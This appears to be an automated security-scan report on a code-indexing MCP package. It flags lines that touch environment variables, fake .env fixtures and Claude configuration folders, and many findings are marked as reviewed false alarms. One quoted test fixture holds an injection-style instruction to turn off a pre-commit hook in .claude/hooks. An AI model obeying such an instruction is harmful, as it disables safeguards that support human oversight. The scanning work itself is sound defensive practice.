Unit tests and fixtures: fake .env files with 'TOKEN=x' in temp dirs, checks that the repo's own .claude/settings.json deny rules exist, and cases for the secret classifier. No real credentials are read.

Reviewed by Claude (AI-assisted review), 2026-11-21

credential-access: Touches credentials or secrets high

tests/test_transcript_roots.py:3

OWASP LLM LLM03 Supply ChainOWASP Agentic ASI03 Identity and Privilege AbuseOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0083 Credentials from AI Agent Configuration

`receipt` scanned a hardcoded ``~/.claude/projects``. Claude Code relocates the

What this means: Reads files or environment holding keys, tokens or sessions.

The rule's general advice: Confirm the tool needs this; otherwise do not install. (see the review note for this case)

Known false alarm

Unit tests and fixtures: fake .env files with 'TOKEN=x' in temp dirs, checks that the repo's own .claude/settings.json deny rules exist, and cases for the secret classifier. No real credentials are read.

Reviewed by Claude (AI-assisted review), 2026-11-21

credential-access: Touches credentials or secrets high

tests/test_v1_108_0.py:112

OWASP LLM LLM03 Supply ChainOWASP Agentic ASI03 Identity and Privilege AbuseOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0083 Credentials from AI Agent Configuration

a .env / secrets/*.yaml / credentials.json indexed it and it was then

What this means: Reads files or environment holding keys, tokens or sessions.

The rule's general advice: Confirm the tool needs this; otherwise do not install. (see the review note for this case)

Known false alarm

Unit tests and fixtures: fake .env files with 'TOKEN=x' in temp dirs, checks that the repo's own .claude/settings.json deny rules exist, and cases for the secret classifier. No real credentials are read.

Reviewed by Claude (AI-assisted review), 2026-11-21

credential-access: Touches credentials or secrets high

tests/test_watch_claude.py:443

OWASP LLM LLM03 Supply ChainOWASP Agentic ASI03 Identity and Privilege AbuseOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0083 Credentials from AI Agent Configuration

worktree /home/user/.claude/worktrees/feature-auth

What this means: Reads files or environment holding keys, tokens or sessions.

The rule's general advice: Confirm the tool needs this; otherwise do not install. (see the review note for this case)

Known false alarm

Unit tests and fixtures: fake .env files with 'TOKEN=x' in temp dirs, checks that the repo's own .claude/settings.json deny rules exist, and cases for the secret classifier. No real credentials are read.

Reviewed by Claude (AI-assisted review), 2026-11-21

credential-access: Touches credentials or secrets high

tests/test_watch_status_reports_completeness.py:100

OWASP LLM LLM03 Supply ChainOWASP Agentic ASI03 Identity and Privilege AbuseOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0083 Credentials from AI Agent Configuration

extra.update({"package-lock.json": "{}", ".env": "TOKEN=x" + NEWLINE})

What this means: Reads files or environment holding keys, tokens or sessions.

The rule's general advice: Confirm the tool needs this; otherwise do not install. (see the review note for this case)

Known false alarm

Unit tests and fixtures: fake .env files with 'TOKEN=x' in temp dirs, checks that the repo's own .claude/settings.json deny rules exist, and cases for the secret classifier. No real credentials are read.

Reviewed by Claude (AI-assisted review), 2026-11-21

credential-access: Touches credentials or secrets high

tests/test_withheld_file_is_not_absent.py:15

OWASP LLM LLM03 Supply ChainOWASP Agentic ASI03 Identity and Privilege AbuseOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0083 Credentials from AI Agent Configuration

does not list is never looked up on disk (a lookup would confirm that `.env` or

What this means: Reads files or environment holding keys, tokens or sessions.

The rule's general advice: Confirm the tool needs this; otherwise do not install. (see the review note for this case)

Known false alarm

Unit tests and fixtures: fake .env files with 'TOKEN=x' in temp dirs, checks that the repo's own .claude/settings.json deny rules exist, and cases for the secret classifier. No real credentials are read.

Reviewed by Claude (AI-assisted review), 2026-11-21

credential-access: Touches credentials or secrets high

tests/test_workflows_registered.py:159

OWASP LLM LLM03 Supply ChainOWASP Agentic ASI03 Identity and Privilege AbuseOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0083 Credentials from AI Agent Configuration

assert ".claude/settings.local.json" in gitignore and ".claude/state/" in gitignore

What this means: Reads files or environment holding keys, tokens or sessions.

The rule's general advice: Confirm the tool needs this; otherwise do not install. (see the review note for this case)

Known false alarm

Unit tests and fixtures: fake .env files with 'TOKEN=x' in temp dirs, checks that the repo's own .claude/settings.json deny rules exist, and cases for the secret classifier. No real credentials are read.

Reviewed by Claude (AI-assisted review), 2026-11-21

74 low-severity notes (informational, do not affect the result)

install-dir-access: Reads or writes Claude's install folders low

whatsnew.json:488

MITRE ATLAS AML.T0081 Modify AI Agent Configuration

"summary": "A question about how code works now ranks the code above its tests: function words such as \"how\" and \"does\" count less in a multi-word question (never in a name), and test-file symbols

What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.

What you can do: Check which files it adds there and that you want them.

install-dir-access: Reads or writes Claude's install folders low

benchmarks/ab-kit/run_lookups.py:9

MITRE ATLAS AML.T0081 Modify AI Agent Configuration

* writes a project .claude/agents/Explore.md override in each copy (model from --explore-model; tools differ only

What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.

What you can do: Check which files it adds there and that you want them.

install-dir-access: Reads or writes Claude's install folders low

src/jcodemunch_mcp/checkout_boundary.py:5

MITRE ATLAS AML.T0081 Modify AI Agent Configuration

an indexed checkout (``<repo>/.claude/worktrees/<name>``), satisfies the first

What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.

What you can do: Check which files it adds there and that you want them.

install-dir-access: Reads or writes Claude's install folders low

src/jcodemunch_mcp/config.py:2979

MITRE ATLAS AML.T0081 Modify AI Agent Configuration

//   Default: <cwd>/.claude/worktrees/<name> (Claude Code convention).

What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.

What you can do: Check which files it adds there and that you want them.

install-dir-access: Reads or writes Claude's install folders low

src/jcodemunch_mcp/hook_event.py:24

MITRE ATLAS AML.T0081 Modify AI Agent Configuration

"""Move legacy manifest from ~/.claude/ to the new location if it exists."""

What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.

What you can do: Check which files it adds there and that you want them.

install-dir-access: Reads or writes Claude's install folders low

src/jcodemunch_mcp/server.py:9180

MITRE ATLAS AML.T0081 Modify AI Agent Configuration

When *missing_only* is True, reads ~/.claude/CLAUDE.md and returns only

What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.

What you can do: Check which files it adds there and that you want them.

credential-access: Touches credentials or secrets low

src/jcodemunch_mcp/service_installer.py:81

OWASP LLM LLM03 Supply ChainOWASP Agentic ASI03 Identity and Privilege AbuseOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0083 Credentials from AI Agent Configuration

for key, val in os.environ.items():

What this means: Reads files or environment holding keys, tokens or sessions.

What you can do: Confirm the tool needs this; otherwise do not install.

install-dir-access: Reads or writes Claude's install folders low

src/jcodemunch_mcp/watcher.py:84

MITRE ATLAS AML.T0081 Modify AI Agent Configuration

the watcher to `.github/`, `.claude/` and `.claude-plugin/` on this

What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.

What you can do: Check which files it adds there and that you want them.

install-dir-access: Reads or writes Claude's install folders low

src/jcodemunch_mcp/cli/init.py:598

MITRE ATLAS AML.T0081 Modify AI Agent Configuration

return Path.home() / ".claude" / "CLAUDE.md"

What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.

What you can do: Check which files it adds there and that you want them.

install-dir-access: Reads or writes Claude's install folders low

src/jcodemunch_mcp/cli/skills.py:3

MITRE ATLAS AML.T0081 Modify AI Agent Configuration

The Claude Agent Skill format (`.claude/skills/<name>/SKILL.md` with YAML

What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.

What you can do: Check which files it adds there and that you want them.

install-dir-access: Reads or writes Claude's install folders low

src/jcodemunch_mcp/cli/hooks/_common.py:141

MITRE ATLAS AML.T0081 Modify AI Agent Configuration

(``.claude/worktrees/<name>``) is another branch the index does not hold

What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.

What you can do: Check which files it adds there and that you want them.

install-dir-access: Reads or writes Claude's install folders low

src/jcodemunch_mcp/tools/audit_agent_config.py:46

MITRE ATLAS AML.T0081 Modify AI Agent Configuration

(os.path.join(".claude", "CLAUDE.md"), "global CLAUDE.md"),

What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.

What you can do: Check which files it adds there and that you want them.

install-dir-access: Reads or writes Claude's install folders low

tests/conftest.py:470

MITRE ATLAS AML.T0081 Modify AI Agent Configuration

monkeypatch.setattr(_init, "_claude_md_path", lambda scope: _under(".claude", "CLAUDE.md"))

What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.

What you can do: Check which files it adds there and that you want them.

install-dir-access: Reads or writes Claude's install folders low

tests/test_a_red_tier_keeps_its_tracebacks.py:29

MITRE ATLAS AML.T0081 Modify AI Agent Configuration

sys.path.insert(0, str(REPO / ".claude" / "hooks"))

What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.

What you can do: Check which files it adds there and that you want them.

install-dir-access: Reads or writes Claude's install folders low

tests/test_an_installed_policy_is_refreshed_only_when_asked.py:38

MITRE ATLAS AML.T0081 Modify AI Agent Configuration

(h / ".claude").mkdir(parents=True)

What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.

What you can do: Check which files it adds there and that you want them.

install-dir-access: Reads or writes Claude's install folders low

tests/test_audit_agent_config.py:173

MITRE ATLAS AML.T0081 Modify AI Agent Configuration

"path": "~/.claude/CLAUDE.md",

What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.

What you can do: Check which files it adds there and that you want them.

install-dir-access: Reads or writes Claude's install folders low

tests/test_build.py:22

MITRE ATLAS AML.T0081 Modify AI Agent Configuration

"""pyproject.toml must have .claude/ in the sdist exclude list."""

What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.

What you can do: Check which files it adds there and that you want them.

install-dir-access: Reads or writes Claude's install folders low

tests/test_ci_env_reproduce_command.py:24

MITRE ATLAS AML.T0081 Modify AI Agent Configuration

`.claude/skills/release/SKILL.md`, which is gitignored -- the v0.2.6

What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.

What you can do: Check which files it adds there and that you want them.

credential-access: Touches credentials or secrets low

tests/test_cli_output_encoding.py:41

OWASP LLM LLM03 Supply ChainOWASP Agentic ASI03 Identity and Privilege AbuseOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0083 Credentials from AI Agent Configuration

env = dict(os.environ)

What this means: Reads files or environment holding keys, tokens or sessions.

The rule's general advice: Confirm the tool needs this; otherwise do not install. (see the review note for this case)

Known false alarm

Unit tests and fixtures: fake .env files with 'TOKEN=x' in temp dirs, checks that the repo's own .claude/settings.json deny rules exist, and cases for the secret classifier. No real credentials are read.

Reviewed by Claude (AI-assisted review), 2026-11-21

install-dir-access: Reads or writes Claude's install folders low

tests/test_competitive_compare_ref.py:214

MITRE ATLAS AML.T0081 Modify AI Agent Configuration

cmd = (REPO / ".claude" / "commands" / "competitive-compare.md").read_text(encoding="utf-8")

What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.

What you can do: Check which files it adds there and that you want them.

credential-access: Touches credentials or secrets low

tests/test_competitive_reindex_one.py:199

OWASP LLM LLM03 Supply ChainOWASP Agentic ASI03 Identity and Privilege AbuseOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0083 Credentials from AI Agent Configuration

env = dict(os.environ, CODE_INDEX_PATH=str(store), PYTHONPATH=str(ROOT / "src"), JCODEMUNCH_TRUSTED_FOLDERS=str(c.path), JCODEMUNCH_LIVE_JOURNAL="0")

What this means: Reads files or environment holding keys, tokens or sessions.

The rule's general advice: Confirm the tool needs this; otherwise do not install. (see the review note for this case)

Known false alarm

Unit tests and fixtures: fake .env files with 'TOKEN=x' in temp dirs, checks that the repo's own .claude/settings.json deny rules exist, and cases for the secret classifier. No real credentials are read.

Reviewed by Claude (AI-assisted review), 2026-11-21

install-dir-access: Reads or writes Claude's install folders low

tests/test_competitive_workflows.py:46

MITRE ATLAS AML.T0081 Modify AI Agent Configuration

NEVER_TOUCH = (".github/workflows", ".github/inbound", ".github/dependabot.yml", ".github/CODEOWNERS", ".claude/", "CLAUDE.md", "AGENTS.md",

What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.

What you can do: Check which files it adds there and that you want them.

install-dir-access: Reads or writes Claude's install folders low

tests/test_config.py:943

MITRE ATLAS AML.T0081 Modify AI Agent Configuration

claude_dir = Path(tmpdir) / ".claude"

What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.

What you can do: Check which files it adds there and that you want them.

install-dir-access: Reads or writes Claude's install folders low

tests/test_config_check_hooks.py:62

MITRE ATLAS AML.T0081 Modify AI Agent Configuration

d = home / ".claude"

What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.

What you can do: Check which files it adds there and that you want them.

install-dir-access: Reads or writes Claude's install folders low

tests/test_config_check_names_a_stale_policy.py:26

MITRE ATLAS AML.T0081 Modify AI Agent Configuration

(home / ".claude").mkdir(parents=True)

What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.

What you can do: Check which files it adds there and that you want them.

credential-access: Touches credentials or secrets low

tests/test_cursor_direct_reads.py:470

OWASP LLM LLM03 Supply ChainOWASP Agentic ASI03 Identity and Privilege AbuseOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0083 Credentials from AI Agent Configuration

env = {**os.environ, "CODE_INDEX_PATH": str(tmp_path), "PYTHONPATH": SRC}

What this means: Reads files or environment holding keys, tokens or sessions.

The rule's general advice: Confirm the tool needs this; otherwise do not install. (see the review note for this case)

Known false alarm

Unit tests and fixtures: fake .env files with 'TOKEN=x' in temp dirs, checks that the repo's own .claude/settings.json deny rules exist, and cases for the secret classifier. No real credentials are read.

Reviewed by Claude (AI-assisted review), 2026-11-21

install-dir-access: Reads or writes Claude's install folders low

tests/test_deny_guard_hardening.py:25

MITRE ATLAS AML.T0081 Modify AI Agent Configuration

HOOKS = ROOT / ".claude" / "hooks"

What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.

What you can do: Check which files it adds there and that you want them.

install-dir-access: Reads or writes Claude's install folders low

tests/test_diagnose_writes_only_what_is_on_its_list.py:43

MITRE ATLAS AML.T0081 Modify AI Agent Configuration

"""The default policy targets include the developer's ~/.claude/CLAUDE.md; every test here reads its own."""

What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.

What you can do: Check which files it adds there and that you want them.

install-dir-access: Reads or writes Claude's install folders low

tests/test_dod_checklist_code_roots.py:5

MITRE ATLAS AML.T0081 Modify AI Agent Configuration

`.claude/hooks/` (W-42, W-41) or `tests/` alone, so three reviewers in one day

What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.

What you can do: Check which files it adds there and that you want them.

install-dir-access: Reads or writes Claude's install folders low

tests/test_dod_retired_test_detection.py:38

MITRE ATLAS AML.T0081 Modify AI Agent Configuration

HOOKS = ROOT / ".claude" / "hooks"

What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.

What you can do: Check which files it adds there and that you want them.

install-dir-access: Reads or writes Claude's install folders low

tests/test_dod_row1_binding.py:39

MITRE ATLAS AML.T0081 Modify AI Agent Configuration

HOOKS = ROOT / ".claude" / "hooks"

What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.

What you can do: Check which files it adds there and that you want them.

install-dir-access: Reads or writes Claude's install folders low

tests/test_dod_row6_reads_the_source.py:39

MITRE ATLAS AML.T0081 Modify AI Agent Configuration

HOOKS = ROOT / ".claude" / "hooks"

What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.

What you can do: Check which files it adds there and that you want them.

install-dir-access: Reads or writes Claude's install folders low

tests/test_dod_row7_reads_the_disclosure_where_it_lives.py:23

MITRE ATLAS AML.T0081 Modify AI Agent Configuration

HOOKS = ROOT / ".claude" / "hooks"

What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.

What you can do: Check which files it adds there and that you want them.

install-dir-access: Reads or writes Claude's install folders low

tests/test_dod_row8_a_value_change_is_not_a_new_key.py:24

MITRE ATLAS AML.T0081 Modify AI Agent Configuration

HOOKS = ROOT / ".claude" / "hooks"

What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.

What you can do: Check which files it adds there and that you want them.

install-dir-access: Reads or writes Claude's install folders low

tests/test_entry_points_write_utf8.py:15

MITRE ATLAS AML.T0081 Modify AI Agent Configuration

The same rule reaches `.claude/hooks/` and `benchmarks/` (L-320): a benchmark

What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.

What you can do: Check which files it adds there and that you want them.

install-dir-access: Reads or writes Claude's install folders low

tests/test_harness_summary_check_rows.py:28

MITRE ATLAS AML.T0081 Modify AI Agent Configuration

HOOKS = REPO / ".claude" / "hooks"

What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.

What you can do: Check which files it adds there and that you want them.

install-dir-access: Reads or writes Claude's install folders low

tests/test_hook_budget_tree_kill.py:3

MITRE ATLAS AML.T0081 Modify AI Agent Configuration

`.claude/hooks/_common.run_budgeted` bounded the child with

What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.

What you can do: Check which files it adds there and that you want them.

install-dir-access: Reads or writes Claude's install folders low

tests/test_hook_path_table.py:22

MITRE ATLAS AML.T0081 Modify AI Agent Configuration

HOOKS = ROOT / ".claude" / "hooks"

What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.

What you can do: Check which files it adds there and that you want them.

credential-access: Touches credentials or secrets low

tests/test_hook_steering_fixes.py:636

OWASP LLM LLM03 Supply ChainOWASP Agentic ASI03 Identity and Privilege AbuseOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0083 Credentials from AI Agent Configuration

env = {**os.environ,

What this means: Reads files or environment holding keys, tokens or sessions.

The rule's general advice: Confirm the tool needs this; otherwise do not install. (see the review note for this case)

Known false alarm

Unit tests and fixtures: fake .env files with 'TOKEN=x' in temp dirs, checks that the repo's own .claude/settings.json deny rules exist, and cases for the secret classifier. No real credentials are read.

Reviewed by Claude (AI-assisted review), 2026-11-21

credential-access: Touches credentials or secrets low

tests/test_hooks_skip_server_import.py:71

OWASP LLM LLM03 Supply ChainOWASP Agentic ASI03 Identity and Privilege AbuseOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0083 Credentials from AI Agent Configuration

env = dict(os.environ)

What this means: Reads files or environment holding keys, tokens or sessions.

The rule's general advice: Confirm the tool needs this; otherwise do not install. (see the review note for this case)

Known false alarm

Unit tests and fixtures: fake .env files with 'TOKEN=x' in temp dirs, checks that the repo's own .claude/settings.json deny rules exist, and cases for the secret classifier. No real credentials are read.

Reviewed by Claude (AI-assisted review), 2026-11-21

credential-access: Touches credentials or secrets low

tests/test_http_sessions_sharing_a_token_keep_their_own_tier.py:69

OWASP LLM LLM03 Supply ChainOWASP Agentic ASI03 Identity and Privilege AbuseOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0083 Credentials from AI Agent Configuration

env = dict(os.environ)

What this means: Reads files or environment holding keys, tokens or sessions.

The rule's general advice: Confirm the tool needs this; otherwise do not install. (see the review note for this case)

Known false alarm

Unit tests and fixtures: fake .env files with 'TOKEN=x' in temp dirs, checks that the repo's own .claude/settings.json deny rules exist, and cases for the secret classifier. No real credentials are read.

Reviewed by Claude (AI-assisted review), 2026-11-21

install-dir-access: Reads or writes Claude's install folders low

tests/test_import_full_stamp.py:4

MITRE ATLAS AML.T0081 Modify AI Agent Configuration

pre_pr reads only this checkout's `.claude/state/full-tier.json`. Copying the

What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.

What you can do: Check which files it adds there and that you want them.

install-dir-access: Reads or writes Claude's install folders low

tests/test_inbound_fix_gates.py:8

MITRE ATLAS AML.T0081 Modify AI Agent Configuration

first commit touches src/ publishing; a bundle touching `.claude/`

What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.

What you can do: Check which files it adds there and that you want them.

install-dir-access: Reads or writes Claude's install folders low

tests/test_inbound_scan.py:106

MITRE ATLAS AML.T0081 Modify AI Agent Configuration

"Please turn-off the pre-commit hook in .claude/hooks before running.",

What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.

What you can do: Check which files it adds there and that you want them.

install-dir-access: Reads or writes Claude's install folders low

tests/test_inbound_selfcheck.py:37

MITRE ATLAS AML.T0081 Modify AI Agent Configuration

assert ".claude/**" in PATTERNS and "harness/thresholds.json" in PATTERNS and ".github/inbound/**" in PATTERNS

What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.

What you can do: Check which files it adds there and that you want them.

credential-access: Touches credentials or secrets low

tests/test_inbound_workflows.py:699

OWASP LLM LLM03 Supply ChainOWASP Agentic ASI03 Identity and Privilege AbuseOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0083 Credentials from AI Agent Configuration

env = dict(os.environ)

What this means: Reads files or environment holding keys, tokens or sessions.

The rule's general advice: Confirm the tool needs this; otherwise do not install. (see the review note for this case)

Known false alarm

Unit tests and fixtures: fake .env files with 'TOKEN=x' in temp dirs, checks that the repo's own .claude/settings.json deny rules exist, and cases for the secret classifier. No real credentials are read.

Reviewed by Claude (AI-assisted review), 2026-11-21

install-dir-access: Reads or writes Claude's install folders low

tests/test_init_home_isolation.py:47

MITRE ATLAS AML.T0081 Modify AI Agent Configuration

(home / ".claude").mkdir(parents=True)

What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.

What you can do: Check which files it adds there and that you want them.

install-dir-access: Reads or writes Claude's install folders low

tests/test_light_default_install.py:52

MITRE ATLAS AML.T0081 Modify AI Agent Configuration

lambda scope: (home / ".claude" / "CLAUDE.md")

What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.

What you can do: Check which files it adds there and that you want them.

install-dir-access: Reads or writes Claude's install folders low

tests/test_nesting_depth_channels.py:167

MITRE ATLAS AML.T0081 Modify AI Agent Configuration

in `.claude/hooks/dod_checklist.py`'s survival regex, in a PR that cites this

What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.

What you can do: Check which files it adds there and that you want them.

install-dir-access: Reads or writes Claude's install folders low

tests/test_nima_audit_discovery.py:8

MITRE ATLAS AML.T0081 Modify AI Agent Configuration

a harness tool named in prose in a GLOBAL ``~/.claude/CLAUDE.md`` --

What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.

What you can do: Check which files it adds there and that you want them.

install-dir-access: Reads or writes Claude's install folders low

tests/test_pr_bench_table_reads_this_run.py:420

MITRE ATLAS AML.T0081 Modify AI Agent Configuration

for p in list((REPO / ".claude" / "commands").glob("*.md"))

What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.

What you can do: Check which files it adds there and that you want them.

install-dir-access: Reads or writes Claude's install folders low

tests/test_pre_commit_timing_rows.py:21

MITRE ATLAS AML.T0081 Modify AI Agent Configuration

HOOKS = Path(__file__).resolve().parents[1] / ".claude" / "hooks"

What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.

What you can do: Check which files it adds there and that you want them.

install-dir-access: Reads or writes Claude's install folders low

tests/test_pre_pr_reads_the_tree_gh_runs_in.py:16

MITRE ATLAS AML.T0081 Modify AI Agent Configuration

`.claude/hooks` refuses.

What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.

What you can do: Check which files it adds there and that you want them.

install-dir-access: Reads or writes Claude's install folders low

tests/test_refresh_can_write_the_servers_policy.py:38

MITRE ATLAS AML.T0081 Modify AI Agent Configuration

(h / ".claude").mkdir(parents=True)

What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.

What you can do: Check which files it adds there and that you want them.

install-dir-access: Reads or writes Claude's install folders low

tests/test_resolve_repo_nested_worktree.py:8

MITRE ATLAS AML.T0081 Modify AI Agent Configuration

such as ``<repo>/.claude/worktrees/<name>``, has a ``.git`` FILE, so containment

What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.

What you can do: Check which files it adds there and that you want them.

install-dir-access: Reads or writes Claude's install folders low

tests/test_retirement_ledger.py:95

MITRE ATLAS AML.T0081 Modify AI Agent Configuration

REPLACEMENT is real; `.claude/hooks/dod_checklist.py` asks whether every

What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.

What you can do: Check which files it adds there and that you want them.

install-dir-access: Reads or writes Claude's install folders low

tests/test_sdist_exclusions.py:17

MITRE ATLAS AML.T0081 Modify AI Agent Configuration

`.claude/` reached the sdist the same way once, via the global gitignore.

What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.

What you can do: Check which files it adds there and that you want them.

credential-access: Touches credentials or secrets low

tests/test_serve_exits_when_parent_dies.py:327

OWASP LLM LLM03 Supply ChainOWASP Agentic ASI03 Identity and Privilege AbuseOWASP Agentic ASI04 Agentic Supply Chain VulnerabilitiesMITRE ATLAS AML.T0055 Unsecured CredentialsMITRE ATLAS AML.T0083 Credentials from AI Agent Configuration

env = dict(os.environ)

What this means: Reads files or environment holding keys, tokens or sessions.

The rule's general advice: Confirm the tool needs this; otherwise do not install. (see the review note for this case)

Known false alarm

Unit tests and fixtures: fake .env files with 'TOKEN=x' in temp dirs, checks that the repo's own .claude/settings.json deny rules exist, and cases for the secret classifier. No real credentials are read.

Reviewed by Claude (AI-assisted review), 2026-11-21

install-dir-access: Reads or writes Claude's install folders low

tests/test_shipped_text_has_no_dynamic_code_calls.py:58

MITRE ATLAS AML.T0081 Modify AI Agent Configuration

assert ".claude/" in patterns and "munch-bench/results/" in patterns, patterns

What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.

What you can do: Check which files it adds there and that you want them.

install-dir-access: Reads or writes Claude's install folders low

tests/test_skill_candidates.py:60

MITRE ATLAS AML.T0081 Modify AI Agent Configuration

"~/.claude/CLAUDE.md",

What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.

What you can do: Check which files it adds there and that you want them.

install-dir-access: Reads or writes Claude's install folders low

tests/test_skills.py:55

MITRE ATLAS AML.T0081 Modify AI Agent Configuration

path = tmp_path / ".claude" / "skills" / "jcodemunch" / "SKILL.md"

What this means: Uses ~/.claude/agents, skills, commands or plugins (or a project .claude/ folder). Normal for installers, but it changes what Claude loads.

What you can do: Check which files it adds there and that you want them.

install-dir-access: Reads or writes Claude's install folders low

tests/test_surface_diff.py:220

MITRE ATLAS AML.T0081 Modify AI Agent Configuration

src = (REPO / ".claude" / "hooks" / "surface_guard.py").read_text(encoding="utf-8")

